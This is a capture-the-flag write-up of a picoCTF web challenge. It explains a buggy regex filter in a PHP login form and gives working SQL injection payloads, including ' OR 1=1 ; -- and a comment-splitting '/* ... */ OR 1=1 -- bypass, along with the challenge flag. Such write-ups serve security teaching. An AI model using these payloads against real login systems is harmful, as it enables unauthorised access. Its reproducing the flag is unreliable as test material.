When browsing to the target URL, we are presented with a login form and a[link to the login source code](http://2018shell3.picoctf.com:53261/login.txt) :
```php";    echo "username: ", htmlspecialchars($username), "\n";    echo "password: ", htmlspecialchars($password), "\n";    echo "SQL query: ", htmlspecialchars($query), "\n";    echo "";  }
  //validation check  $pattern ="/.*['\"].*OR.*/i";  $user_match = preg_match($pattern, $username);  $password_match = preg_match($pattern, $username);  if($user_match + $password_match > 0)  {    echo "<h1>SQLi detected.</h1>";  }  else {    $result = $con->query($query);    $row = $result->fetchArray();     if ($row) {      echo "<h1>Logged in!</h1>";      echo "Your flag is: $FLAG";    } else {      echo "<h1>Login failed.</h1>";    }  }?>```
Your flag is: $FLAG
It is apparent from the code that we're looking at an SQL injection, this timewith a [regex](https://en.wikipedia.org/wiki/Regular_expression)-based filterto circumvent.
We can also see that the script takes a `debug` parameter that will echo theSQL query.
The regex used for validation is:
```/.*['\"].*OR.*/i```That translates to`(any character, 0 or more times) followed by (a single quote) followed by ("OR") followed by (any character, 0 or more times)`
This filter would prevent using the basic `' OR 1=1 --` injection.
## The filtering bug
If we look closely at the code, we can notice a mistake :
```php$user_match = preg_match($pattern, $username);$password_match = preg_match($pattern, $username);```
Instead of checking the validation regex against the `username` and `password`fields, the `username` field is checked twice ! This means we can use our basicinjection on the `password` field.
Thanks to the `debug` parameter, we know that the query is constructed asfollows:
```sqlSELECT 1 FROM users WHERE name='username' AND password='password'```
So if we were to inject our `' OR 1=1 ; --` payload in the `password` field, wewould end up with the following query :
```sqlSELECT 1 FROM users WHERE name='username' AND password='' OR 1=1 ; --'```
That circumvents password verification, but we still need a valid username forthe query to return at least one row.
So I took a wild guess and tried a username of `admin` and a password of`' OR 1=1 ; --`. Bingo : `picoCTF{w3lc0m3_t0_th3_vau1t_23495366}`
## A better solution
Let's assume for a moment that the filter was correctly used (i.e. if the`username` and `password` fields were correctly checked). Would that meanthat we couldn't leverage an SQL injection ? Certainly not.
Here's an alternative solution I thought about when writing this up : if you pass`'/*` as username and `*/ OR 1=1 --` as password, you get the flag and wouldget it without the bug exploited in the previous solution.
The reason for that is that the two components of the injection (the `'`escaping the quoted block and the always true `OR 1=1` condition) that are checkedagainst are split in different fields, preventing the regex from matching :
- `'/*` has a single quote but no `OR` : the `username` field doesn't match- `*/ OR 1=1 --` contains `OR` but no single quote before : the `password` field doesn't match
The `/* */` is pretty much the same as in javascript : it declares an inlinecomment, meaning that anything between `/*` and `*/` will be ignored.
So with that request, this query is constructed
```sqlSELECT 1 FROM users WHERE name=''/*' AND password='*/ OR 1=1 --'```
Removing the commented-out parts, this is executed :
```sqlSELECT 1 FROM users WHERE name='' OR 1=1```
This is a better solution for 2 reasons :
1. It would work even if the filter checking were fixed2. It doesn't require to guess a valid username.